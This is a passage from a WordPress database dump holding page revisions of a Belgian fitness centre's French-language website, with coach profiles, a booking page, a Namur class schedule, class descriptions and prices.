&lt;li&gt;Spécialisation en préparation physique et entrainement du sportif&lt;/li&gt;\r\n	&lt;li&gt;Enseignante en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Entraîneur de volley-ball&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de volley-ball, natation et course à pied&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-420\&quot; alt=\&quot;youssra_boujat_pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/05/youssra_boujat_pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;141\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Youssra Boujat&lt;/h2&gt;\r\n&lt;h5&gt;Instructeur de Zumba Fitness&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Etudiante infirmière à l\'HENALLUX&lt;/li&gt;\r\n	&lt;li&gt;Basketteuse au Belfius Namur Capital&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de courses à pieds et de fitness&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2014-02-17 17:57:25', '2014-02-17 17:57:25', '', 20, 'http://www.crosstrainingcenter.be/20-revision-v1/', 0, 'revision', '', 0),
(440, 1, '2014-08-31 07:39:13', '2014-08-31 07:39:13', '&lt;blockquote&gt;\r\n&lt;h1&gt;Prise de RDV pour une séance booster :&lt;/h1&gt;\r\n&lt;/blockquote&gt;\r\nPour suivre les cours de Small Group Training, vous devez d\'abord vous inscrire à une séance Booster. Cette séance, sur rendez-vous individuel, avec un coach durera 30 minutes. Durant cette séance, un bilan sera réalisé ainsi qu\'une découverte de l\'ensemble des outils du Cross Training Center.\r\n\r\nLaissez-nous vos coordonnées et nous vous recontacterons afin de planifier avec vous votre séance booster.\r\n\r\n[contact-form-7 id=\&quot;265\&quot; title=\&quot;Seance_gratuite\&quot;]', 'Séance gratuite', '', 'inherit', 'open', 'open', '', '266-revision-v1', '', '', '2014-08-31 07:39:13', '2014-08-31 07:39:13', '', 266, 'http://www.crosstrainingcenter.be/266-revision-v1/', 0, 'revision', '', 0),
(441, 1, '2014-08-31 07:41:25', '2014-08-31 07:41:25', '&lt;blockquote&gt;\r\n&lt;h1&gt;Prise de RDV pour une séance booster :&lt;/h1&gt;\r\n&lt;/blockquote&gt;\r\nPour suivre les cours de Small Group Training, vous devez d\'abord vous inscrire à une séance Booster. Cette séance, sur rendez-vous individuel, avec un coach durera 30 minutes. Durant cette séance, un bilan sera réalisé ainsi qu\'une découverte de l\'ensemble des outils du Cross Training Center.\r\n\r\nLaissez-nous vos coordonnées et nous vous recontacterons afin de planifier avec vous votre séance booster.\r\n\r\n[contact-form-7 id=\&quot;265\&quot; title=\&quot;Seance_gratuite\&quot;]', 'Séance booster', '', 'inherit', 'open', 'open', '', '266-revision-v1', '', '', '2014-08-31 07:41:25', '2014-08-31 07:41:25', '', 266, 'http://www.crosstrainingcenter.be/266-revision-v1/', 0, 'revision', '', 0),
(445, 1, '2014-08-31 07:59:59', '2014-08-31 07:59:59', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Small Group Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 pers.). Nous vous proposons 7 types de séances décrites ci-dessous.\r\nPour suivre les cours de Small Group Training, vous devez d\'abord vous inscrire à une &lt;a title=\&quot;Séance booster\&quot; href=\&quot;http://www.crosstrainingcenter.be/266-2/\&quot;&gt;séance Booster&lt;/a&gt;. Cette séance, sur rendez-vous individuel, avec un coach durera 30 minutes. Durant cette séance, un bilan sera réalisé ainsi qu\'une découverte de l\'ensemble des outils du Cross Training Center.\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n\r\n&lt;img class=\&quot;size-full wp-image-409 alignleft\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt; :&lt;strong&gt;La Zumba® &lt;/strong&gt;est un mix de plusieurs danses latines (salsa, merengue, cumbia, reggaeton…), de fitness et d\'aérobie qui reste accessible à tout le monde quel que soit son niveau.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\r\nRéserver vos séances de Team Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2014-08-31 07:59:59', '2014-08-31 07:59:59', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(442, 1, '2014-08-31 07:56:06', '2014-08-31 07:56:06', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Small Group Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 pers.). Nous vous proposons 7 types de séances décrites ci-dessous.\r\nPour suivre les cours de Small Group Training, vous devez d\'abord vous inscrire à une &lt;a title=\&quot;Séance booster\&quot; href=\&quot;http://www.crosstrainingcenter.be/266-2/\&quot;&gt;séance Booster&lt;/a&gt;. Cette séance, sur rendez-vous individuel, avec un coach durera 30 minutes. Durant cette séance, un bilan sera réalisé ainsi qu\'une découverte de l\'ensemble des outils du Cross Training Center.\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;11h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n\r\n&lt;img class=\&quot;size-full wp-image-409 alignleft\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt; :&lt;strong&gt;La Zumba® &lt;/strong&gt;est un mix de plusieurs danses latines (salsa, merengue, cumbia, reggaeton…), de fitness et d\'aérobie qui reste accessible à tout le monde quel que soit son niveau.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\r\nRéserver vos séances de Team Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2014-08-31 07:56:06', '2014-08-31 07:56:06', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(444, 1, '2014-08-31 07:58:24', '2014-08-31 07:58:24', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Small Group Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 pers.). Nous vous proposons 7 types de séances décrites ci-dessous.\r\nPour suivre les cours de Small Group Training, vous devez d\'abord vous inscrire à une &lt;a title=\&quot;Séance booster\&quot; href=\&quot;http://www.crosstrainingcenter.be/266-2/\&quot;&gt;séance Booster&lt;/a&gt;. Cette séance, sur rendez-vous individuel, avec un coach durera 30 minutes. Durant cette séance, un bilan sera réalisé ainsi qu\'une découverte de l\'ensemble des outils du Cross Training Center.\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td 